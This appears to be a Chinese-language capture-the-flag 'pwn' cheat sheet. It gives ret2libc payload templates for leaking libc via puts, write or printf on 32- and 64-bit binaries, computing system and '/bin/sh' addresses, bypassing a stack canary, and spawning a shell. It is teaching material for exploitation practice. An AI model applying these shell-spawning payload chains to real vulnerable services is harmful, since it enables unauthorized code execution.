泄露libc之有libc文件

给fresh pwner提醒下,这里的puts是可以换的(看你是通过puts函数泄露的还是通过write函数泄露的,通过哪个写哪个)仔细观察有无 libc 文件的区别(发现没中小括号也是要区分的哦,可以自己试试)

1
2
3
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

泄露libc之无libc文件

1
2
3
4
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

32位传参

32位传参的方式是通过栈来传参的,与构造的payload也是有关的,大致如下:(有时候也会变根据题目意思来)

1
payload =填充的数据 +system +垃圾数据/main_addr +binsh

64位传参

64位传参前六个参数是通过寄存器来传参的,分别位rdi,rsi,rdx,rcx,r8,r9,之后的参数是通过栈传递的,同样构造payload也有一套,但还是需要具体问题具体分析,大致如下:

1
payload =填充的数据 + rdi +binsh +system

32位泄露libc之puts

这里只写构造payload的大体模板,其他的都是通式做多了就知道了(填充的数据是可以变的啊,main_addr也就是你需要返回的地址)

第一次payload泄露libc

1
2
payload =b'A'*(0x20 +4) +p32(elf.plt["puts"]) +p32(main_addr) +p32(elf.got['puts'])
u32(p.recvuntil(b'\xf7')[-4:])

第二次payload获得shell

1
payload =b'A'*(0x20 +4) +p32(ret_addr) +p32(sys_addr) +p32(0) +p32(bin_sh)

64位泄露libc之puts

第一次payload泄露libc

1
payload =b'A'*(0x20 +8) +p64(rdi_addr) +p64(elf.got['puts']) +p64(elf.plt["puts"]) +p64(main_addr)

接收

1
2
3
puts_add= u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

puts_add= u64(p.recv(6).ljust(8,b'\x00'))

第二次payload得shell

1
payload=b'A'*(0x20 +8) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)

32位泄露libc之write

第一次payload泄露libc

1
payload =b'A'*(0x20 +4) +p32(elf.plt['write']) +p32(main_addr) +p32(1)+ p32(elf.got['write']) +p32(4)

接收

1
write=u32(p.recv(4))

第二次payload获得shell

1
2
3
payload =b'A'*(0x20 +4) +p32(ret_addr) +p32(sys_addr) +p32(0) +p32(bin_sh)

payload=b'a'*(0x6C+4)+p32(system_addr)+p32(main)+p32(binsh_addr)

64位泄露libc之write

第一次payload泄露libc

1
payload =b'A' * (0x20 +8) + p64(rdi_addr) +p64(1)+p64(pop_rsi_r15) +p64(elf.got['write']) +p64(0) +p64(elf.plt['write']) + p64(main_addr)

第二次payload得shell

1
payload =b' A' * (0x20 +8)  +p64(rdi_addr) + p64(bin_sh) +p64(sys_addr)

64位泄露libc之printf

printf在执行打印格式化字符串时,有产生一个参数,然后我们还需要一个寄存器,来存放我们got表里所要的真实地址

1
b'a'*28 + p64(pop_rdi) + p64(f_srt) + p64(pop_rsi_r15) + p64(printf_got) + p64(0) + p64(prinf_plt) + p64(main_addr)

这里P64(0)的意思就是给R15寄存器填充对应的参数,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0。 最后加个main函数,是我们返回到main函数,让程序走一遍,以便我们可以写入接下来的payload去控制程序流。

Canary

第一次泄露libc

1
payload =b'A'*(0X20 -8) +p64(canary) +p64(0) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(vuln)

第二次获得shell

1
payload =b'A'*(0x20 -8) + p64(canary) +p64(0) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh)